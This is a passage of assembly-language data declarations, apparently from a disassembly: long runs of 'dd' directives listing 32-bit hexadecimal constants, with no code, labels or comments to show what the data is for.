		dd 0DC1325Ch, 16DA508Dh, 2045D192h, 0C05072FCh,	645E2D2Dh
		dd 520A106Fh, 0BAC6D84Bh, 3FDE9B08h, 7CD6F700h,	662AEC66h
		dd 3E1FCDECh, 0E9B05148h, 9A8B8C74h, 7C41EF62h,	6E81C30Eh
		dd 2C8E809Fh, 7EC19860h, 90F0AA6Ah, 724A75BFh, 0D1850A43h
		dd 0DE67FEE7h, 221BCD53h, 0DC3E8E55h, 0AFAC0FA2h, 68E7632Eh
		dd 9FB2E158h, 558943A5h, 18E24A3Ch, 26FDFAACh, 0BDF30DC9h
		dd 0F34D3EFDh, 39A9FF97h, 3BB6AA37h, 6C39E29Dh,	75825585h
		dd 0A555BFEDh, 0F724193Ch, 0F517F10Ah, 9F5B0D02h, 27BED9EFh
		dd 9234C9E7h, 4401A40Bh, 5219308Dh, 292221A3h, 0A795374Ah
		dd 0C7560764h, 231669AEh, 0F7DF6846h, 0A8D64B49h, 0F15C7F7Dh
		dd 0CF96FE51h, 0EADF51DFh, 0AEDDD80Ch, 1219B3BAh, 0B3ED613Ah
		dd 93BBF61Fh, 8B3A7375h, 40220BEEh, 0FB9A3E3Ch,	3CDF8501h
		dd 82D3BE26h, 0E8CD4D9Eh, 0D710AE51h, 0ABD2E708h, 62B9187Bh
		dd 45BED914h, 8250D613h, 0F8423F05h, 0D2500EB1h, 0CC1E6DA2h
		dd 0E8D430FCh, 9D2639A8h, 0AA3EEF24h, 82B28F88h, 486F3EC2h
		dd 0D1DE9714h, 5FE3AD05h, 24B7BA7Fh, 0C5AC1012h, 48F6C15Fh
		dd 467773AEh, 4A8DE067h, 3E96C90Ch, 64843ACh, 0B9153F68h
		dd 80BA1E79h, 12694259h, 0BEDD4334h, 6A4B71F3h,	19497812h
		dd 3DE6D241h, 0C5AD1E3Dh, 0B9D94093h, 57339732h, 7DA79C76h
		dd 1CA94D42h, 0B09223D8h, 54E1EC2Dh, 2835C9E7h,	0BAF97DA9h
		dd 0F18C99A8h, 0D6430032h, 37C61C95h, 181695D4h, 4D5592Eh
		dd 3346BDBEh, 8C14508Bh, 5924F4DDh, 826C50CEh, 6FDDD377h
		dd 14B68787h, 316AEF75h, 241EF590h, 0D5D336ADh,	5B0DB4C7h
		dd 4B5F9F20h, 5F7DFA30h, 5BF1D66Fh, 0DBC6596Eh,	78767415h
		dd 0BAD4CD7Ch, 0BFCAA9C2h, 8EBB7905h, 0AF1CDF49h, 0B9F4FFC6h
		dd 8C155473h, 0D4272841h, 7FA99612h, 0F043AA65h, 275A7E5Fh
		dd 0E58EC2DDh, 4CEE0EEEh, 0FD0DBEF9h, 0B4FC3DE0h, 6CD9B59Ch
		dd 98CC806Bh, 0FE15A807h, 2484535Eh, 85583FC3h,	3CEE840Dh
		dd 0E905559Fh, 9BDFDE64h, 0E24C438Fh, 0A4D41ED3h, 0F43B8788h
		dd 0D3D636E1h, 763022CBh, 0CA2D16C3h, 3DCD960Ah, 0F445CD0h
		dd 0ADD93C06h, 6D952164h, 3868C505h, 6EA6C7A1h,	41E53DB9h
		dd 60B19026h, 6BBC15F9h, 280810B3h, 1C8956E8h, 65EC5DEDh
		dd 91D20225h, 4F6ADF6Dh, 3657255Eh, 608CA865h, 0F091685Dh
		dd 0D5414783h, 0E945A1F6h, 63B227FFh, 30263DC6h, 3899B077h
		dd 0CEF37DABh, 3E3006FEh, 774C6E1h, 30E2D9DCh, 5F686B09h
		dd 2455AD6Eh, 0A93CB2B7h, 8B7BE310h, 1FBF318h, 191F870Ch
		dd 520F08F1h, 0A9A1FFAAh, 0B03CAB75h, 0F5E147E7h, 6C26179Ah
		dd 42C403C0h, 34B392B1h, 0D61D869Dh, 0A0A14227h, 0AFE27933h
		dd 4EBCD8C9h, 677F8A7Ch, 2B47ABB4h, 82BCF72h, 6B4FD72Ch
		dd 0D8F52BCCh, 0C9E844B6h, 55493F6Ah, 46D6650Bh, 5202E290h
		dd 0A6787AA0h, 0BDD4CAF0h, 938BA5C4h, 24052483h, 0FC356305h
		dd 63053215h, 70E7273Dh, 363F3275h, 0D77AA70Ch,	1FF49E9Eh
		dd 1931C3C1h, 32F5FEEAh, 0F1D69B93h, 0B3257DF2h, 711B1B4Fh
		dd 20485281h, 9EE0598Fh, 0A6FBD38Eh, 4302172Dh,	91968DDBh
		dd 0BE16AAB6h, 9EB99610h, 0E2144FFEh, 0C0D2FF3Bh, 21B308EEh
		dd 9F2A7400h, 9041F67Ch, 0D2648455h, 816A5318h,	385F2E45h
		dd 880CDB4Ch, 2C97C461h, 33E955A5h, 110677C0h, 0F38270E8h
		dd 0F4B18F7Eh, 25C32BC2h, 9B5E63h, 8F147310h, 651ED605h
		dd 0F56D6FFFh, 0E1ECA995h, 8F04F127h, 0ED9933ACh, 39A369D5h
		dd 5ED877C7h, 20F111A0h, 0F67E6F5Fh, 9CA88716h,	9B0B7CA6h
		dd 0A4BA503h, 0D0AE14h,	31839EAEh, 0B3A9B3BEh, 0AAF6C424h
		dd 5B46127Bh, 0D0646BF6h, 0D664DF50h, 0BC8303Eh, 26C10C74h
		dd 0B925B98Ch, 0BDE18CCEh, 62CD1BD6h, 2A50571Fh, 0F9D20AF8h
		dd 68C2D01Eh, 0A2A9B99Bh, 0C4099E26h, 70ABF88Ch, 0CC017ED6h
		dd 3EFA167Dh, 4F67FC05h, 0D04FAFA2h, 89F9CCFFh,	0B3AE9727h
		dd 0D7350B0Dh, 97F7669Ah, 9219826Bh, 906BD0E9h,	86DD20B6h
		dd 63B20037h, 0F2ADB0F3h, 0E5B84AFCh, 0DD195D51h, 1FFDA7F8h
		dd 89DF686Eh, 35B7125Bh, 0BA2F1BF7h, 0C0B973Bh,	0C96930E3h
		dd 372872CBh, 0A23C9DFAh, 12D901D2h, 54CE8C98h,	0E6E9E36Ah
		dd 92CB103Dh, 0F5A53987h, 0ED77F492h, 0A8925785h, 0B707937h
		dd 576173B5h, 0DDD5CE6Fh, 0F75B61CDh, 548A8670h, 3B15B256h
		dd 48E9F143h, 574CECD4h, 71E03FC9h, 0FE9FB838h,	0A3FE23CCh
		dd 0FAC62F1Fh, 0F0C38E22h, 0BE726D28h, 958F2281h, 0B2E469A0h
		dd 0BEE65B81h, 2150903h, 6D266B02h, 0A705B05Bh,	67501B24h
		dd 4FA9F47Fh, 0B39DE38h, 0B0A17A36h, 739DA5DCh,	2102E621h
		dd 0A7AB76E7h, 829E942Ch, 1AB57A39h, 0F787CEDEh, 0E32DCD78h
		dd 676D193h, 0A691E8D8h, 744991EDh, 0A66300D2h,	0CA2943D1h
		dd 33C0725Bh, 21E0A951h, 76E610ACh, 0C9BD0E7Bh,	3C25E404h
		dd 2ABD446Fh, 0A4F643CBh, 69D3AB70h, 0EE576833h, 9116DCF5h
		dd 3C2E2AEDh, 9A28EC37h, 8C643121h, 0B31EECB3h,	1B232C03h
		dd 0EB49B08Bh, 321843ECh, 4A0FECF8h, 4027C31Dh,	0BDC3D560h
		dd 4129E952h, 8FDF63D1h, 799D605Bh, 8DF19DE9h, 0D0F4C930h
		dd 6EF96865h, 0BB68393Dh, 59CC3711h, 0FE7F405Bh, 0EF5BDC0h
		dd 0D0EC6F86h, 0AB07FF38h, 3F626BE6h, 5548BB04h, 700E3F5Ch
		dd 0F81F9F0Bh, 1602F53Bh, 18A57A65h, 60F96618h,	644639E9h
		dd 3B65ED86h, 0EA20C31Fh, 39C22CE8h, 411B808Fh,	0DCCDCD9Eh
		dd 8E9BB78h, 0A4CE6D3Eh, 1210020Dh, 52BD7EDCh, 611E5E5Fh
		dd 48CFF585h, 60CB6A3Fh, 9B288819h, 79E8B9FEh, 0FF102D3Bh
		dd 66E956A8h, 403B81F9h, 0B02ABA62h, 0F51F6D9Dh, 5893236Dh
		dd 0E3E7D82Fh, 9FA91DD0h, 9FD557C4h, 42C30E48h,	0E8F520E2h
		dd 0FB31F37Ch, 63530589h, 0DEE2B840h, 2662FC8h,	0CC0F1152h
		dd 2777EA77h, 87098E89h, 3152BC93h, 0F8662DAEh,	0A5CE6B11h
		dd 9922F2D9h, 4AA5D06h,	680C12A6h, 0A7CF0EA0h, 10CC6E64h
		dd 8A2ED046h, 0E2AB7BB5h, 49E3FBEFh, 599ED310h,	91093211h
		dd 0ADC5C8B7h, 82716ABDh, 0CACEAED9h, 94A40CD9h, 0F5E8FC1Bh
		dd 63EAD617h, 0FA7474BBh
		dd 0D4B39F5Bh, 0AA64161Eh, 1501B2CAh, 0C62C7C54h, 0AE5DF33Bh
		dd 0DE3E9Bh, 924EA307h,	420A51CAh, 70972C58h, 0EB4DBB7Ah
		dd 7E21B05Ch, 56F7C049h, 8E66DD57h, 5710BFB1h, 0DE64996Dh
		dd 0C99A2192h, 7462C9D9h, 49C1EB66h, 2ED3B1Eh, 0FDD29E46h
		dd 73B22B34h, 29ED82E4h, 8DA71DDh, 0FF6D6160h, 749EAD06h
		dd 589DED1Fh, 1A7A0844h, 2CB7CCh, 192050BCh, 0F176A2B0h
		dd 241209C3h, 0E6180F78h, 326751EEh, 4708DCC7h,	4EBBD2ECh
		dd 8993B9B3h, 668DF132h, 6B38C3FCh, 0E1E37F5Ch,	8AAF79A1h
		dd 5ACF79ECh, 51F3FF7Bh, 0A0C4ACB4h, 9780ED58h,	4FFE50E4h
		dd 0DAB080DCh, 41D6D86Ah, 820DA033h, 0FA893C91h, 0F44702F5h
		dd 0AA2DBD9Ch, 0E817CEC9h, 0B226FCD3h, 2C868E0Fh, 0F9803306h
		dd 0F03EDC4Bh, 0C3A9FECCh, 73DC6FE0h, 19ED509Dh, 2568CE07h
		dd 0B1A431E5h, 598519A9h, 0A391D1BFh, 0F1C418BCh, 0A4321A21h
		dd 6DF120AFh, 0E61043C3h, 0F7447D59h, 99C92175h, 5F4DBEF9h
		dd 0CD7BC9E2h, 83100438h, 404BE49Ah, 0EFB9452Fh, 48BBD67Eh
		dd 0CB6ED0D4h, 0D975891Ch, 0D6349B1Ah, 0E2A6D626h, 0C177330Fh
		dd 998E8EE4h, 77219122h, 658CAEDAh, 0B79BF402h,	0B36FE052h
		dd 171D5EF2h, 7C58670Ah, 8DB8A13Ah, 4420D55h, 7B3A6BE7h
		dd 83D3C0A8h, 9E9F3D15h, 0A0CD2958h, 42B91D82h,	0D6498626h
		dd 22544830h, 996DD942h, 0D1D5E148h, 2CDA7E00h,	0AA58A747h
		dd 9202E334h, 0ED7672E5h, 0E3CA50C5h, 40FBAD9Fh, 0F219C269h
		dd 6CEB8BA8h, 88F5DCEh,	42221585h, 2BB3E389h, 91384109h
		dd 0D6E0DDEDh, 0BD944DD3h, 4572897Bh, 29571D46h, 0A57E93A2h
		dd 5A21C024h, 0F4547486h, 6C986D87h, 426CFF17h,	4EAA968h
		dd 0B39A7BEDh, 4DA70D2Ah, 8313AE51h, 4A1AC54Ah,	9E892764h
		dd 17C6C10Dh, 0A1BCD807h, 842D1F3Ch, 0BA8E866Fh, 0D94D9AAFh
		dd 0CB82C50h, 72972D96h, 5D0C8474h, 0FDC45FB5h,	23EADA94h
		dd 3556CE1Ch, 30C423CBh, 930A8624h, 3346217Ch, 2E2F9AC9h
		dd 0F52AB540h, 38A42F59h, 0A9A77427h, 266EB015h, 0C44E8836h
		dd 0C9D84BA9h, 428521E8h, 8B583919h, 0FD96FCF1h, 0D903F47Ah
		dd 7108B66Ah, 5E044308h, 4CB51418h, 735D4DABh, 0BDB87004h
		dd 0D8FDCE23h, 0E284340Ah, 0B7D32F6h, 0E11542D7h, 1C5C0765h
		dd 0D5DBCBBDh, 21041C85h, 0F6C01270h, 0F6B583B2h, 0F587CD84h
		dd 3F1BE6ACh, 2F5054B3h, 0ABBB6644h, 3873CA7Fh,	8CFA4117h
		dd 5AE44311h, 2A155354h, 78E429E9h, 0E2B29057h,	6EE32C51h
		dd 0BEB5FBE9h, 6347BFD3h, 30F2A53Fh, 47ACEE07h,	0F7867965h
		dd 6CE81E81h, 0BBBCB64Dh, 0DDA586C3h, 0B45A5B43h, 0BB460EC6h
		dd 0F9CF0D62h, 68BEA2CEh, 0CE4C9619h, 0CB6C0F35h, 138A2903h
		dd 0F02E83E4h, 516D890Bh, 0AA87EB4Bh, 0C5BDB54Fh, 2AD0CF23h
		dd 6CC6F807h, 7886E756h, 0C7B744D3h, 0A7467F5Ah, 6B6CFB13h
		dd 0FA52DC4Dh, 45E83751h, 349E5ECEh, 0E4452337h, 0BC72C710h
		dd 33508D5Dh, 732A1EDEh, 77AF8811h, 0CD87F784h,	317FD370h
		dd 1EF7DC3h, 1F571F21h,	0FBA49544h, 7017DF62h, 6CA732Ah
		dd 6B6D91C3h, 27A18FC5h, 9A4BDB40h, 24A7E863h, 0AB077E24h
		dd 0DFFED1Bh, 0A1C3CD17h, 0E9B4221h, 1597821Ah,	0E6F032A9h
		dd 90ED535h, 54122D8h, 0F82D9C8h, 0AA111549h, 68D5CB61h
		dd 0D025B778h, 8A6E4D7Fh, 0B7E274A4h, 19E4CB06h, 98A64C7Bh
		dd 0E286513h, 0E6B3F1F4h, 614EE2BBh, 3E8E174Bh,	1FE78D87h
		dd 8AB3397Bh, 9D59BB12h, 61C9D8CAh, 0D5257F63h,	0FEAB32D2h
		dd 0DD6DFAB4h, 5C0CA12Dh, 0D74BF25Dh, 0CC1814A4h, 2C49BA63h
		dd 68985A50h, 0DCF4E336h, 0D05D8EC9h, 0D816439Ah, 5AF95DE9h
		dd 0DF84C7AAh, 34AAC7CEh, 1CA0DECFh, 0F34F7E1Bh, 0E90CF9A3h
		dd 4AB62B0h, 0D571A1B7h, 0D5425834h, 0F5FAE345h, 92EEB7E8h
		dd 0F201EEAAh, 0B3134918h, 0BC7F4814h, 0B083C219h, 3973B726h
		dd 5678331Ah, 71A3061h,	9485773h, 8507A478h, 9006BD36h
		dd 927FB5B8h, 2922108h,	0AFF14FB4h, 8896308h, 737A231Eh
		dd 17E39B67h, 0AD2CB5CFh, 0F65FDE22h, 0AF33F9E7h, 14F961D1h
		dd 5922AD6Ch, 17814CD7h, 7BE9D434h, 9A413760h, 91529EC1h
		dd 96229483h, 7CAD718Ch, 0BE7DFDEDh, 32C0A11Ah,	332B4CCEh
		dd 82A6BE82h, 50993E63h, 0E929A561h, 0DA4C6F25h, 0FAE49B57h
		dd 3FF2C57Dh, 8D7D8CFFh, 0B028028Ch, 0D8645FEFh, 8F1CA0EFh
		dd 4EC562E5h, 8AA14522h, 0D3D4E3FCh, 676B075Bh,	0F7AD2DAh
		dd 87AA6CFAh, 660DD452h, 589F272Bh, 2C787114h, 2022E1B2h
		dd 5421560h, 0BB6E145Dh, 2644E4E2h, 8E3C4BFFh, 0C5B5E258h
		dd 2248FD2Bh, 860CE2D6h, 7439D568h, 5C71DB1Dh, 9E7E8965h
		dd 947A9CA6h, 0B6E82CD0h, 25B052A7h, 0CC5196BCh, 39E3D965h
		dd 4E5D268h, 7FDD3C34h,	0CA2867FCh, 0FF2D73F4h,	39E1F50Eh
		dd 0B27A4557h, 0FF11290Eh, 15DDC53Eh, 0A49E2F50h, 0E0D79B38h
		dd 72B6A80h, 0ADF5C4C6h, 0E57CADD3h, 16E34CFEh,	61228310h
		dd 42B1D782h, 0CA4F3EA4h, 67A3A515h, 5D548B67h,	6FB13098h
		dd 1E9BB4BBh, 21745E70h, 2B8B144Bh, 2D48D73Ah, 0E46E4280h
		dd 2489904Ah, 6DACAF9Dh, 222E5D00h, 0F7E2F7h, 9753B2C6h
		dd 0C3D44CBBh, 23241BAh, 24C393Ah, 9372A5CEh, 0FC168F9Fh
		dd 0A7A0F57Bh, 468B28F0h, 4DF17957h, 0BCBB16DBh, 0E6B63118h
		dd 85E0751Dh, 4EEDD41Dh, 0FF07D231h, 96896581h,	0D7C590A2h
		dd 2EDEC1FDh, 153A1D1Eh, 0BC326889h, 130DCEBCh,	0F552E465h
		dd 2B8F3B32h, 147DAA6Ah, 0CA5B559Ch, 8EB781B1h,	0A95EE96Ah
		dd 78EB6D2Fh, 0DCC6DE89h, 838EEE1Ah, 0ED7824E0h, 0BA64147h
		dd 95196547h, 0A714093Ch, 0EB712585h, 0C1B255B6h, 83A81855h
		dd 0E0609E20h, 0B5C6705h, 706E33AFh, 2CBFA992h,	44684B3Ah
		dd 0EF298E1Dh, 0F97D5335h, 0E084152Fh, 567A93ACh, 21E8B3DAh
		dd 0D0355406h, 8E70E606h, 848D8781h, 1CA4497h, 0BEE21391h
		dd 48F8531Dh, 0E82822B8h, 94E0F81Ah, 4A3B14BEh,	7FCEFBFAh
		dd 125DA5B0h, 4C4EB8EDh, 46089244h, 3FCE9E1h, 0B8565A2Bh
		dd 40D589D8h, 360C29BBh, 827C6B86h, 0FC9B623Bh,	7BF05E0Eh
		dd 7F164AB4h, 0F70C286Dh, 0D0BB94A4h, 209B74CBh, 0CBA8B82Eh
		dd 0F3F73C6h, 0D487DE74h, 1BB80D92h, 7DF5A009h,	0A4C60D2Eh
		dd 0B7F88B7Ah, 63E06E81h, 544943D3h, 3631EB8Bh,	0DF448FFBh
		dd 73E8E4F7h, 4C71A251h, 3B87009h, 0D0AEE18Bh, 51D83C84h
		dd 0F1245EEBh, 0A3BCAB40h, 20D809ACh, 8562916Dh, 42F927D2h
		dd 94F0E8C2h, 7623DFCDh, 0A169334Ah, 666EFFB1h,	134C43F4h
		dd 0A5A547ACh, 2784358Eh, 0D12C3121h, 7EBFC67Fh, 692051F4h
		dd 0CA044E1Bh, 261AD739h, 0BE5312C4h, 76D26F6Eh, 9EBBCC95h
		dd 3BFDCDCEh, 1E410426h, 7338B910h, 6F18BFB5h, 0C36CB68Ch
		dd 0AA0EBE7Ch, 72EA90FDh, 2EA2A2A3h, 7C83446Bh,	4EC2A87Ah
		dd 0A1A39C8Fh, 73C4D60Bh, 0DE2EC534h, 295D4B8Dh, 0E8263557h
		dd 7B347670h, 806D28D5h, 7C3575DDh, 20674431h, 88B23D5Ah
		dd 0C0722E3Dh, 327460D9h, 5F76DC86h, 6D56B425h,	59128234h
		dd 0EEC6F060h, 3C558BAEh, 667BCDEBh, 73A88579h,	0C92BD2CDh
		dd 7D0B38EFh, 3DB39D63h, 0AA02C8CCh, 9C621FB8h,	5556CACEh
		dd 130B108Ah, 0CE057140h, 701ED4DBh, 0A347E9AFh, 0BE52223Dh
		dd 0DDA34E48h, 0B1A7FE49h, 68EA6E74h, 0F7C79723h, 62D7BCC6h
		dd 0C585412Eh, 5FA855DCh
		dd 33F07A75h, 7897011Dh, 0EB59423Bh, 0C52FB4D0h, 73DA630Dh
		dd 0EBBE5496h, 48A96219h, 2675CE5Eh, 24998ED8h,	0C1A0A9D8h
		dd 643DD99Bh, 0B8767726h, 613ABF13h, 3EB89D7Bh,	95708521h
		dd 0FC96A213h, 0C2705CDBh, 1CAE6999h, 6453E113h, 0B681C95Dh
		dd 725AD04Dh, 0D7AD6F27h, 0B1B7300Eh, 5B3C64D0h, 0D2FBE1A4h
		dd 0D2F66F79h, 22128301h, 201A72F1h, 0A02248AEh, 0A103F479h
		dd 0C8DFEC6Eh, 0EDD75222h, 6A36CCA5h, 587FEA4Bh, 46CD168Bh
		dd 618FDD03h, 372A92E8h, 31944D7Eh, 40DBB971h, 3D1C5D05h
		dd 0DD1ECAD1h, 31B5A357h, 0D230D2Ch, 7AEE2AAAh,	385F7C32h
		dd 20D81E65h, 429A6241h, 0B963FE64h, 3B4B1A6Ch,	0D2E46BBEh
		dd 3530552Bh, 0D4A560FBh, 83E3069Ch, 78DD9D91h,	0D54C38A3h
		dd 83E98B03h, 0A90ABAEAh, 904BA382h, 819CEA4Ch,	22070CF6h
		dd 0AD1DFD18h, 8CDC2048h, 8320D552h, 7E8E57FEh,	2DB3140h
		dd 443081DAh, 764E09F2h, 269FB47Dh, 0E631CFB9h,	22FB9FD1h
		dd 5C7CD536h, 16A9BA7Ch, 163E0959h, 8D3651EEh, 48971E72h
		dd 5BD3A679h, 8C018A76h, 0E3750155h, 228E80C8h,	941AF7D4h
		dd 0F418EC58h, 0EDCB8598h, 0F66654AAh, 1D5D730Eh, 0A42C6488h
		dd 39D2C7BFh, 5B29B85Ch, 0C00A3AF9h, 0F19C08Ch,	0AC3EBA53h
		dd 26865C97h, 0E0B06A9h, 0AC229CA2h, 87850555h,	0FE7AC3DCh
		dd 0A8C9586Ah, 0B2B01B84h, 9350537Dh, 0DDFCB18Ch, 2287F8ABh
		dd 0F6860C2Ch, 0D8526749h, 0A96EA5E2h, 6BE37E33h, 0DEBCD731h
		dd 3B4F1EFFh, 0F43F2E99h, 0EC1F6A81h, 353D40C5h, 0CBBEBCADh
		dd 0A6F6456Ch, 42B83926h, 6B1C1FF2h, 9F4E3BCh, 0D65A019Dh
		dd 7E6AF03Bh, 0E00AA196h, 0A2921B19h, 812BDBC1h, 3F4D3413h
		dd 31EBB9C7h, 3E21F0E1h, 9B67FA60h, 0E6D2A006h,	0CCD882BFh
		dd 0EDC75601h, 0E8EC5228h, 892B0294h, 65D83E5h,	77DA0ABFh
		dd 0E6033AA3h, 954FE207h, 12908A99h, 0EE66D7FBh, 0CBD728EDh
		dd 49EEA5B0h, 426A4FA8h, 0E67818F3h, 0D1E8819Fh, 696EF30Ah
		dd 44B98BDFh, 6486FDEBh, 3CC09369h, 206024B3h, 0AAE01823h
		dd 0F4F04019h, 0A9F084A6h, 59B6BAA4h, 0E263F6D9h, 0DB8544FCh
		dd 0F2AB4457h, 0AAECE68Bh, 0FECDCBF7h, 94BE027h, 0E3B1F200h
		dd 2F235789h, 0E4718A79h, 409DB7F4h, 51D9B906h,	6F567B6Ah
		dd 0CA004489h, 0A8C35BCDh, 8AC3FA55h, 9231E40h,	0B8B7899Fh
		dd 7252098Dh, 4D010A63h, 0FD0EB87Fh, 442CBE0Bh,	834D7902h
		dd 0FAD4777Ch, 5793641Ch, 0E1693933h, 0D11920C9h, 0ADF590F8h
		dd 7ADAA38h, 38D45DC7h,	0CB5D188Fh, 0D972CE74h,	0E6337E32h
		dd 8D68F9E9h, 0A49D3222h, 392534E6h, 73F7DDA6h,	0B3AAC284h
		dd 968BB027h, 0F3A30331h, 390E8F9h, 20F6CD83h, 3E4F3044h
		dd 0BB20BCEDh, 0AA3B69BEh, 49462915h, 45AA006Eh, 4CDEF780h
		dd 0A4701457h, 0CAE6FC5Dh, 24D02FDAh, 0A365A6B5h, 38CAE019h
		dd 9B5A90FCh, 0D8081A5Dh, 0CFEFD60Ah, 0D01DD3A7h, 3CB5075Ch
		dd 0AF5EF627h, 90959722h, 87B554E4h, 437688B5h,	60BB4044h
		dd 0FB1F379h, 0E9338C4h, 0B4AB2CFEh, 2F653501h,	484BCB01h
		dd 6EB29634h, 0FFC0732Ah, 0F856CE32h, 7D7B81FBh, 4FBB0EAAh
		dd 3AF3F3ABh, 0ABC2427Ch, 0F19E4936h, 0A91CFBA7h, 14E8013Ah
		dd 3DCA407Ah, 7C2FE190h, 64FC7F39h, 0D07AADCEh,	99B9002Dh
		dd 135DED84h, 48E878B7h, 0BB567884h, 5EE41612h,	20697A7Ah
		dd 31B112B6h, 785AEE19h, 0A44BF5FFh, 0B3B46443h, 67D4E050h
		dd 0BA01A143h, 52AE8D7Ch, 97AD35B3h, 14CE8FB1h,	7DA17202h
		dd 9AE7CD8Ch, 56335F88h, 0D4087E3h, 0F7593AB3h,	97A93E1Bh
		dd 5A717B93h, 1E9EA6FFh, 0BECD5590h, 0B0750FA9h, 4875454h
		dd 3F43E423h, 29F39DAEh, 0A9795DA1h, 6C39BA5Ah,	8C17D395h
		dd 0B8315F08h, 2D82F317h, 0DEB33017h, 0F8666B53h, 6EEEA995h
		dd 847EA8EAh, 81124EAEh, 5DF36045h, 0DFA5491Ch,	2C0B960Fh
		dd 9F4BB3FCh, 0F01CA361h, 0AC0016ADh, 95FAF32Dh, 6BC45B6Dh
		dd 6767854Ch, 0D0463FF9h, 0CFBD1ADEh, 0A1B6E97h, 6D78B547h
		dd 0C6921089h, 0D5D018D3h, 3E6DE662h, 8C77FB40h, 0A2DD373Dh
		dd 0A82A34C7h, 0D067E29Bh, 0CCC0788Dh, 493A8B1Ch, 32D3C71Ch
		dd 0ACBF7A3Ah, 692BAF7h, 9BB96B8h, 97324A4h, 0D4CACBB2h
		dd 0D48897EBh, 17118776h, 0F8BFB386h, 5979069Eh, 70A87398h
		dd 0A0A2C58Eh, 0D0169573h, 0EA2A6D2Ch, 255407EBh, 0B06988CDh
		dd 0C752A7EAh, 0E2323550h, 4428C12Ch, 0C976FD00h, 9510C02Dh
		dd 0EAEBAFE0h, 0AE161084h, 8FD6BA23h, 28F64E57h, 13767EA9h
		dd 4894CBEDh, 1A87FC9Ah, 511D0F95h, 2D729550h, 17E42DD2h
		dd 31058358h, 0DD61AC6Ah, 85CD6E56h, 4D4381FEh,	9879C8Fh
		dd 714BB757h, 0FB2B0B24h, 211D6786h, 347DB289h,	3A14DC8Eh
		dd 138CC048h, 1183C64Ah, 70829A8Bh, 40F2F9C6h, 0C65EBABBh
		dd 0C8D3725Fh, 0CF057A98h, 17D5178h, 6546BB46h,	0F7C80F6Dh
		dd 0EA2946D5h, 6E67C6C3h, 0E18FA324h, 202C1755h, 0D3E0D839h
		dd 0EF01743Eh, 0B97ED18Eh, 0B518ABB8h, 3AC30961h, 0B72EC9F5h
		dd 0C8C2E2B2h, 0B7580746h, 9C6CFF43h, 1BD486BBh, 0E4D71F96h
		dd 5AA402A3h, 19625563h, 9F94A1BAh, 8C0EF83Dh, 318B9A68h
		dd 15DB3164h, 9FED2CCAh, 1B95175Ah, 9B7A3D35h, 0E628868Ah
		dd 0F1B5A96Eh, 5ED1611Eh, 391AD952h, 0F0A23F75h, 7F6E3853h
		dd 0EBD5FCC8h, 8B9E8976h, 7D11F2A6h, 0A3C905DAh, 1BA7A902h
		dd 865107FCh, 800ABF47h, 93553F7Dh, 0D532B97Eh,	0CEC2A470h
		dd 71B3C120h, 0D1EDB053h, 6BD18FD7h, 0B2FEA6CBh, 126C1935h
		dd 15EBD5C9h, 5530F63Dh, 0DA00876h, 26B65DAEh, 179254ADh
		dd 3BE93ABFh, 7B274F84h, 2A9BC0CCh, 26D0C265h, 25355102h
		dd 60FDFF6Dh, 503F8F97h, 7E31C821h, 0B0849C35h,	4766454Eh
		dd 0A9C5EB33h, 4DECD0C9h, 2F9DC391h, 259AF568h,	6A8BF6D5h
		dd 1F7328BEh, 0D39D17B7h, 6393E41Ah, 28ADD057h,	2CFC43EEh
		dd 41D93C01h, 0D893098Eh, 5F5CC9FCh, 4C68A8B2h,	0E4BE187Dh
		dd 9504CCEAh, 0DF08A27h, 3E045363h, 0D8A8D7FFh,	4E97E9A3h
		dd 6C046272h, 78E80510h, 0BE3C1CFFh, 570F0373h,	553ABCA5h
		dd 9593FE45h, 0B7FB11DDh, 0C0649A8Fh, 8E2D8E6Ah, 0D1A474F7h
		dd 320CEE05h, 362E5487h, 0F5FF8C66h, 0BFB8DED2h, 33306EFDh
		dd 0AACEEAA4h, 6B95BEF1h, 54A0976h, 7A3D3F7Bh, 511CE226h
		dd 0B1F13E37h, 36416A90h, 0C4C2788Ah, 17047BA0h, 7C39642Bh
		dd 8DF678C0h, 5DCBBBA9h, 0B2B02395h, 55481A42h,	361D6CF2h
		dd 0CF2AFC07h, 303F7E8Ch, 14B9CBCAh, 75875D8Bh,	499C2BB5h
		dd 42548BA5h, 5122CF73h, 6069C32Ch, 0BD0C4959h,	0B0BB18A6h
		dd 0AD49D739h, 0E4DB51B7h, 11F8BF71h, 4BA18125h, 0C535BB38h
		dd 4F4B31EDh, 2CD7562Eh, 254E01EDh, 1E10B4EEh, 7BD73250h
		dd 0D5EABEB8h, 0B0EFD720h, 0F181F14Dh, 3CBFB291h, 0FCFCBD63h
		dd 0E344DE5Eh, 70897473h, 15EA917Ah, 2A20955Fh,	30EA7A40h
		dd 5200A19Eh, 0CD11E01Eh, 0B5888328h, 17851B83h, 44A19D5h
		dd 717236EFh, 62444979h, 309AFF78h, 67E719F8h, 28F632E2h
		dd 7A0265BAh, 24CBAFDCh, 0DA4161D1h, 9FD10D9Dh,	7A2A26D0h
		dd 0AD7DF9C2h, 2AE729EEh, 761F5395h, 0BD91D152h, 33692432h
		dd 0C541BF0h, 713AA50h,	0B031281Fh, 4DACAFEBh, 0ED7F4897h
		dd 0D75FCC7h, 218ACAEBh, 55A1F557h, 41D56143h, 0B5E4908h
		dd 15B32663h, 651A1AEFh
		dd 3245413Dh, 0FBE25EB3h, 4A479794h, 0DC37C486h, 0FAB81F0Eh
		dd 0C2E339C6h, 49083155h, 3102F930h, 348FE9A6h,	321B55E9h
		dd 0FA2DBCD1h, 2B768BA7h, 0B9FD6BFAh, 780AC59Ah, 34E71BDh
		dd 0BDCFF8AFh, 1462968h, 419FF091h, 7676AA9h, 51F85E27h
		dd 0ADE5BF4Fh, 0BE3E5165h, 6EB560BEh, 5EC687E2h, 0DBA12F20h
		dd 33333472h, 0C0FF5655h, 939CCB76h, 0CE39AEB1h, 0D4EBEFC9h
		dd 2F88E0Ah, 0D9DD7986h, 5EAE0220h, 0A75C0D76h,	78B46F5Bh
		dd 0F64A00ADh, 7D2C4365h, 0DBFE4055h, 676C5339h, 8AB37144h
		dd 36EC4D08h, 11625428h, 0CA60526Bh, 37E18E8Dh,	6B97BC7Eh
		dd 0FD9F33D9h, 7C50B5C8h, 6A975784h, 53ABF7D5h,	0C8A463AAh
		dd 0E604D9B4h, 6B2B83E8h, 0BD3AFAD3h, 26387DB4h, 0EE050E02h
		dd 0AEA75EEEh, 43CF3CBEh, 4037AC5h, 0AF62E3BDh,	66F84F2Dh
		dd 0EEC61845h, 2D052117h, 51D513C2h, 0EB91495Fh, 266CAFDFh
